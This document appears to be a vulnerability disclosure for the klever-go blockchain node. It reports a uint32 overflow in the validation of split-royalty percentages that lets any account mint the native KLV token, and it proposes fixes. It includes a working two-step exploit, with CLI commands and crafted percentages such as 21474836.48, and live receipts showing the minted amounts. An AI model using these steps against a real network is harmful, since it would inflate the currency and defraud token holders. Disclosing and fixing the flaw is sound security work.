## Summary

The per-entry percentages of a KDA asset's **split royalties** are validated by summing
them into a **`uint32`** accumulator and checking the *sum* against `HundredPercent (10000)`,
with **no upper bound on each individual entry**. Two split entries whose percentages sum to
just over `2^32` **wrap around** below `10000` and pass validation, while each stored value
remains astronomically large (e.g. `0x80000000 = 2,147,483,648` ≈ 21,474,836%).

At royalty payout, each split recipient is credited `pool × hugePct / 10000` — far more than
the royalty pool — and the resulting negative remainder is silently discarded
(`if royaltiesToPay <= 0 { return Ok }`). Because **fixed** royalties (and marketplace/ITO
royalties) are denominated in **KLV**, an attacker mints **KLV (the native token)** out of thin
air, on demand, by transferring or selling their own throwaway asset.

This is independent of, and not mitigated by, the existing `FixMarketBuyOverflow` guard.


## Affected component

- Repository: `klever-io/klever-go` (node).
- Validation: `core/process/kda/assetHelper.go`, `core/kapp/kda/create.go`,
`core/kapp/kda/trigger.go`, `core/kapp/builtInFunctions/utils.go`.
- Payout (mint sites): `core/kapp/accounts/accounts.go` (transfer), `core/kapp/market/market.go`
(marketplace buy), `core/kapp/ito/ito.go` (ITO buy).
- **Not** gated by any fork flag — exploitable on current mainnet.

---

## Root cause

### 1. Per-entry split percentages are decoded as raw `uint32` with no bound
`core/kapp/builtInFunctions/utils.go` — `decodeSplitInfo` (≈L292):
```go
func decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error {
fields := []*uint32{
&splitInfo.PercentTransferPercentage,
&splitInfo.PercentTransferFixed,
&splitInfo.PercentMarketPercentage,
&splitInfo.PercentMarketFixed,
&splitInfo.PercentITOPercentage,
&splitInfo.PercentITOFixed,
}
for _, field := range fields {
if err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check
return err
}
}
return nil
}
```

### 2. Validation sums into a `uint32` and only checks the sum
`core/kapp/kda/create.go` (fungible path, ≈L351-382; NFT path ≈L228-264):
```go
sumSplitTransferPercentage := uint32(0) // L351 <-- uint32 accumulator
sumSplitTransferFixed := uint32(0)
// ...
for key, value := range tc.GetRoyalties().GetSplitRoyalties() {
// ... no per-entry bound ...
sumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32
sumSplitTransferFixed += value.GetPercentTransferFixed()
// ...
}
if !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum
return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue
}
```
`core/process/kda/assetHelper.go` (L101):
```go
func CheckValid100Params(values ...uint32) bool {
for _, value := range values {
if value > core.HundredPercent { // HundredPercent = 10000
return false
}
}
return true
}
```
The per-entry `> HundredPercent` check that exists for `TransferPercentage` **tiers**
(`create.go:398`, `trigger.go:780`) does **not** apply to these `SplitRoyalties` fields.

`0x80000000 + 0x80000000 = 0x1_0000_0000` → **wraps to `0`** in `uint32` → `CheckValid100Params(0)` is true.

### 3. Payout over-pays and silently drops the negative remainder (mint), in KLV
`core/kapp/accounts/accounts.go` — `processFixedRoyaltiesTransfer` (L316-382):
```go
err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty
// ...
royaltiesFixedToPay := kda.Royalties.TransferFixed
for key, value := range kda.Royalties.SplitRoyalties {
// L343: split paid in KLV using the overflowed PercentTransferFixed
status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,
acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay)
// ...
}
if royaltiesFixedToPay <= 0 { // L349: negative remainder silently dropped (no error)
return transaction.Transaction_Ok, nil
}
```
`computeSplitRoyalties` (L276-314):
```go
splitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287
*royaltiesToPay -= splitToPay // L291
err = splitRoyalty.AddToBalance(splitToPay, assetID, ...) // L293: credit, no matching debit
```
`tools/converters.go` — `ComputePercentageI64` (L102): for a small `pool`, `pool * 0x80000000 / 10000`
fits in `int64`, so **no overflow error fires** — it simply returns the inflated amount.

**Net:** sender debited `TransferFixed` KLV (e.g. 1 KLV); each split recipient credited
`TransferFixed × 0x80000000 / 10000` KLV. KLV minted = (sum of split credits) − `TransferFixed`.

The same pattern exists in `core/kapp/market/market.go` (`computeRoyaltiesAmount` L490+ in the
sale `currencyID`; `computeRoyaltiesFixedDeposit` L443+ in KLV — silent skips at L456/L503) and
`core/kapp/ito/ito.go` (L429/L499). The shipped `FixMarketBuyOverflow` guard only checks the
top-level `marketOwnerAmount < 0`, not these intra-royalty split over-payments.

---

## Proof of Concept (reproduce from scratch)

A single-node local network is sufficient. Full environment setup is in the companion runbook
`REPRODUCE-split-royalty-overflow.md`; the exploit itself is two transactions.

### Prereqs (build + run a single node)
```bash
export REPO=/path/to/klever-go && cd "$REPO"
go build -o /tmp/klnode ./cmd/node
go build -o /tmp/kloperator ./cmd/operator
go build -o /tmp/klkeygen ./cmd/keygenerator
# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a
# funded wallet (klvDenomination 6), then:
nohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \
--nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \
--rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \
> /tmp/klnode.log 2>&1 < /dev/null & disown
```

### Step 1 — create a malicious asset (your own throwaway token)
The operator stores percentages as `uint32(input × 100)`, so `21474836.48 → 2147483648 = 0x80000000`.
Two entries make the `uint32` sum wrap to 0.
```bash
R1=<any valid klv1 address> # clean recipient, will receive minted KLV
R2=<any valid klv1 address> # second recipient
/tmp/kloperator kda create 0 \
--name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \
--royaltiesAddress=<owner> \
--royaltiesTransferFixed=1 \
--splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \
--splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \
-s --await
```
**Expected:** `resultCode: Ok`. The node stores `percentTransferFixed: 2147483648` for both
recipients (a correct chain would reject this).

### Step 2 — mint KLV with one ordinary transfer
```bash
/tmp/kloperator account send "$R2" 1 --kda KPRT2-<id> -s --await
```
**Expected:** `resultCode: Ok`, with two **KLV** transfer receipts of `214748364800`
(= 214,748.36 KLV) to R1 and R2 — for a `TransferFixed` royalty of `1000000` (1 KLV).

### Verify the mint
```bash
# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:
curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \
"import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')"
```

---

## Evidence (live single-node run, chainID 420420)

### Asset creation — overflowed split royalties **accepted** (`resultCode: Ok`)
tx `1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb`, broadcast contract
(operator output, abridged):
```json
{
"type": 0, "name": "KlvPrinter2", "ticker": "KPRT2",
"ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"initialSupply": 1000000000000,
"royalties": {
"address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"transferFixed": 1000000,
"splitRoyalties": {
"klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap": { "percentTransferFixed": 2147483648 },
"klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5": { "percentTransferFixed": 2147483648 }
}
}
}
```
Result: `hash: 1e288135…`, `status: success`, `resultCode: Ok`.
(`2147483648 = 0x80000000`; the two values' `uint32` sum is `0` → passed `CheckValid100Params`.)

### Transfer — mints KLV (`resultCode: Ok`)
tx `4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6`, block `375`,
`status: success`, `resultCode: Ok`. Receipts (operator output):
```json
{"typeString": "SignedBy"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv1fpwjz…(R1)", "value": 214748364800, "assetId": "KLV", "assetType": "Fungible"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 214748364800, "assetId": "KLV", "assetType": "Fungible"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 1000000, "assetId": "KPRT2-2712", "assetType": "Fungible"}
```

**Outcome:** the sender paid `1000000` (1 KLV) of fixed royalty; the two split recipients were
each credited `214748364800` (**214,748.36 KLV**) — **429,496.73 KLV minted** from a 1 KLV royalty,
in a single transfer. `R1` went from a non-existent/0-KLV account to **214,748.36 KLV** while never
being sent any KLV. The minted amount is `pool(=1000000) × 0x80000000 / 10000 = 214748364800` per
recipient.

A prior run reproduced the same on the *transfer-percentage* path, minting the asset itself
(42,949,672.96 tokens from one transfer); note that the asset's booked `CirculatingSupply` /
`MintedValue` **do not change** (the mint is via direct `AddToBalance`, not a tracked `Mint`), so
the inflation is invisible to supply dashboards and only detectable by summing balances.

---

## Impact

- **Unbounded inflation of KLV (the native token)**, repeatable per transaction for only tx fees.
- Same root cause also mints KLV via **marketplace buy** (sale currency + KLV `MarketFixed`
deposit) and **ITO buy**, and mints arbitrary assets via the transfer-percentage path.
- The mint is **off the books** (booked supply unchanged), making detection hard.
- Total loss of economic integrity for all token/KLV holders.

## Who can exploit it / prerequisites

- **Any account** that can pay the one-time asset-creation fee + tx fees. No roles, admin, or
allowlist.
- **Any client.** The `operator` CLI used above is unprivileged: it signs a standard transaction
and POSTs to the public, unauthenticated `/transaction/send` endpoint
(`network/api/transaction/routes.go`, `SendTX`/`BroadcastTX` — no auth). The official SDKs or a
hand-signed `curl` produce identical results; nothing in the operator is required.
- Deterministic, single-transaction trigger after a one-time asset setup.

---

## Remediation

Two layers, both should ship. Because these change transaction-validity/consensus behavior, gate
them behind a new activation-epoch fork flag (same mechanism as the existing `FixMarketBuyOverflow`),
so historical blocks reprocess identically.

### A. Reject over-100% split percentages at validation (root cause)
1. Bound **each individual** split field, e.g. in `decodeSplitInfo`
(`core/kapp/builtInFunctions/utils.go`):
```go
for _, field := range fields {
if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err }
if *field > core.HundredPercent { return process.ErrInvalidRoyalties } // NEW
}
```
2. Accumulate sums in `uint64` (overflow-proof) in `core/kapp/kda/create.go` and
`core/kapp/kda/trigger.go`, and reject if any per-category sum `> core.HundredPercent`.
(With each entry ≤ 10000 and the existing `MaxTransferRoyalties = 20` cap, the max sum is
200000 — but use `uint64` regardless for defense in depth.)

### B. Treat a negative royalty remainder as a hard error (defense in depth)
In every split-distribution site, replace the silent skip with a rejection:
```go
// BEFORE
if royaltiesToPay <= 0 { return transaction.Transaction_Ok, nil }
// AFTER
if royaltiesToPay < 0 { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue }
if royaltiesToPay == 0 { return transaction.Transaction_Ok, nil }
```
Sites: `core/kapp/accounts/accounts.go` (L349 fixed, L436 percentage),
`core/kapp/market/market.go` (L456, L503), `core/kapp/ito/ito.go` (L429, L499).

### C. (Optional) Assert conservation
After distributing a royalty pool, assert `Σ splitToPay == pool` (the owner gets the exact
remainder), so any future regression aborts the tx instead of minting.

A regression test should: (1) confirm an asset whose split percentages sum-overflow `uint32` is
rejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in)
cannot pay out more than the royalty pool.

---

## Variants / notes

- **Transfer (percentage)** → mints the transferred asset. **Transfer (fixed)**, **Market**
(fixed + percentage), **ITO** (fixed + percentage) → mint **KLV** / the sale currency.
- Smart-contract *senders* skip royalties, but a contract can *plant* the malicious royalties via
`AssetTrigger/UpdateRoyalties` and let a normal account trigger the mint — atomically within one tx.
- The legacy `ComputePercentageI64` float path (`checkOverflow=false`) makes the over-pay even
easier (no `int64` overflow guard at all), but the `big.Int` path mints too for small pools.

## References

- Vulnerable code: `core/process/kda/assetHelper.go:101`,
`core/kapp/builtInFunctions/utils.go:292`, `core/kapp/kda/create.go:228-264,351-382`,
`core/kapp/kda/trigger.go`, `core/kapp/accounts/accounts.go:276-382`,
`core/kapp/market/market.go:443-538`, `core/kapp/ito/ito.go:415-556`,
`tools/converters.go:102`.